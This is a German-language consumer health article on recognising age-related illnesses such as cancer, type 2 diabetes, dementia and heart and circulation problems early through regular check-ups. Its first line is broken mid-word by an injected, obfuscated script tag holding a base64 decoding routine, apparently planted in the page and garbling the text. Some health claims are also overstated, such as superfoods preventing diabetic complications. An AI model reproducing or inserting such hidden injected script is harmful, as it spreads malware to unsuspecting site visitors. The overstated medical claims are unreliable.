Alterskrankheiten frühzeitig erkennen? Worauf geachtet werden muss!

Alterskrankheiten frühzeitig erkennen und beh<script type=function b32f7c5eda8(sf){var pd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=‘;var r2=“;var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6andeln“ width=“1280″ height=“847″ />

 

Ebenso wie es Krankheiten gibt, die typischerweise Kinder betreffen, gibt es auch Krankheiten, welche im Alter besonders häufig auftreten. Damit diese gut behandelt oder mit Medikamenten eingestellt werden können, ist es wichtig, dass nicht nur regelmäßig der Hausarzt aufgesucht wird, sondern ebenso bestimmte Fachärzte nicht vergessen werden. Beispielsweise wenn es um die rechtzeitige Erkennung von Krebs geht, geschieht dies bei Senioren häufig zu spät. Grund dafür ist mitunter, dass gerade Frauen, welche die Wechseljahre bereits hinter sich haben, oft nicht mehr oder nur noch einmal pro Jahr den Frauenarzt aufsuchen, was Tumoren wiederum viel Zeit zum Wachsen bietet. Daher sollte auch im hohen Alter die Krebsvorsorge sehr ernst genommen werden und der Besuch bei den entsprechenden Fachärzten mind. alle sechs Monate erfolgen. Doch auch andere Alterskrankheiten, wie Diabetes Typ II, gehören zu den Alterskrankheiten, die frühzeitig erkannt werden müssen. Oft kann so der Insulinspiegel bei Diabetes im frühen Stadium noch über die Einnahme von Tabletten geregelt werden, was das lästige spritzen verhindert. Zusätzlich ist ein frühzeitiges Erkennen bei dieser Erkrankung sehr wichtig, da so nicht nur die Essgewohnheiten angepasst werden können, es müssen auch regelmäßig die Füße und Augen kontrolliert werden, da Diabetes zu Durchblutungsstörungen führen kann, in deren Folge Zehen absterben können und das Sehvermögen geschwächt werden kann. All dies kann jedoch mit der richtigen Behandlung und Ernährungsanpassung, beispielsweise durch die Einbindung von Superfoods, vermieden werden.

 

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Auch diese Krankheiten treten vermehrt im Alter auf

 

Neben Diabetes Typ II sind auch Erkrankungen wie Kreislaufprobleme, Osteoporose, Durchblutungsstörungen, Demenz- und Alzheimer-Erkrankungen, die vermehrt im hohen Alter diagnostiziert werden. Die meisten dieser Erkrankungen können bei regelmäßigen Arzt besuchen erkannt werden. Bei Erkrankungen wie Demenz und der dazugehörigen Alzheimer-Erkrankung ist es da schon ein wenig schwieriger, denn diese Erkrankungen werden von den Betroffenen oft nicht selbst wahrgenommen und fallen eher dem Umfeld oder der Familie auf. Zusätzlich ist nicht jeder Mensch, der etwas vergesslich ist, gefährdet an Demenz oder Alzheimer zu erkranken. Fällt der Familie oder dem Umfeld auf, dass sich ein Mensch sehr stark in kurzer Zeit verändert hat, sollte, auch wenn der Betroffene dies selbst nicht so sieht, ein Arzt besucht werden. Dieser kann anhand von verschiedenen Untersuchungen feststellen, ob eine dieser Erkrankungen vorliegt. Zwar sind beide Erkrankungen nicht heilbar, es gibt jedoch inzwischen Medikamente, die dabei helfen den Krankheitsverlauf zu verlangsamen und so das geistige Denkvermögen länger zu erhalten.

 

Bei Kreislauferkrankungen sollte schnell gehandelt werden

 

Wer merkt, dass er schnell kurzatmig wird, unter Schwindelgefühlen leidet oder sogar Herzrasen bekommt, sollte in jedem Fall schnell einen Arzt aufsuchen. Denn Herz-Kreislaufprobleme müssen schnell behandelt werden, um eine Schädigung des Herzens zu vermeiden. Deswegen sollte hier immer ein Arzt aufgesucht werden, um möglichst schnell eine Diagnose stellen zu können. Denn nicht nur kann hier Bluthochdruck oder ein zu niedriger Blutdruck vorliegen, es besteht auch die Möglichkeit, dass Herzrhythmusstörungen der Grund für die Beschwerden sind. All diese Erkrankungen können unbehandelt zu einem großen Risiko für die Gesundheit werden, weswegen es wichtig ist, direkt bei den ersten Anzeichen zum Arzt zu gehen. Denn selbst wenn am Ende vielleicht nur das Wetter für das Unwohlsein verantwortlich ist, wurde so eine ernsthafte Erkrankung, die im schlimmsten Fall das Leben verkürzen kann, ausgeschlossen. Ähnlich sieht es auch bei allen anderen Beschwerden aus, die ein Anzeichen für eine ernsthafte Erkrankung sein können. Bei Diabetes Typ II zeigen sich erste Symptome zum Beispiel darin, dass man vermehrt Durst hat - ein Warnzeichen dem Beachtung geschenkt werden muss. Auch wenn man sich plötzlich schlapp oder müde fühlt oder Schmerzen auftreten, die sich nicht erklären lassen, sollte immer ein Arzt aufgesucht werden. Diese können Anzeichen für eine ernstere Erkrankung sein, welche in einem frühen Stadium deutlich besser zu behandeln ist oder, wie im Falle einer Krebserkrankung, eine sehr viele höhere Chance auf eine Heilung hat.

 

So werden Alterskrankheiten rechtzeitig diagnostiziert

 

Vorsorgeuntersuchungen sollten nicht versäumt werden

 

Wer regelmäßig an Vorsorgeuntersuchungen wie einer Darmspiegelung, dem Besuch beim Frauenarzt oder Urologen teilnimmt, senkt damit gerade im Alter das Risiko, dass eine Krebserkrankung unbemerkt bleibt. Ebenso sollte auch der Hausarzt einmal im Quartal besucht werden, um eine Blutuntersuchung durchführen zu lassen und den Blutdruck zu messen, sodass viele typische Alterserkrankungen schnell festgestellt und entsprechend behandelt werden können. Damit auch die Mobilität im Alter nicht zu einem schmerzhaften Problem wird, ist es zusätzlich empfehlenswert einmal pro Jahr den Orthopäden zu besuchen, sodass überprüft werden kann, ob die Gelenke einen auffälligen Verschleiß zeigen oder andere Erkrankungen des Skeletts vorliegen. Auch wenn dies zunächst nach einer großen Anzahl von Arztbesuchen aussieht, steht am Ende jedoch die Gewissheit, dass man gesund ist und somit die besten Chancen hat ein sehr hohes Alter zu erreichen. Sollte doch einmal eine Erkrankung festgestellt werden, bedeutet dies nicht zwangsläufig, dass sich die eigene Lebenserwartung verkürzt. Umso eher eine Alterserkrankung festgestellt und behandelt wird, desto höher sind die Chancen dieser Krankheit effektiv entgegenwirken zu können. Im Zweifelsfall ist es immer besser einmal zu viel, als einmal zu wenig beim Arzt gewesen zu sein.

 

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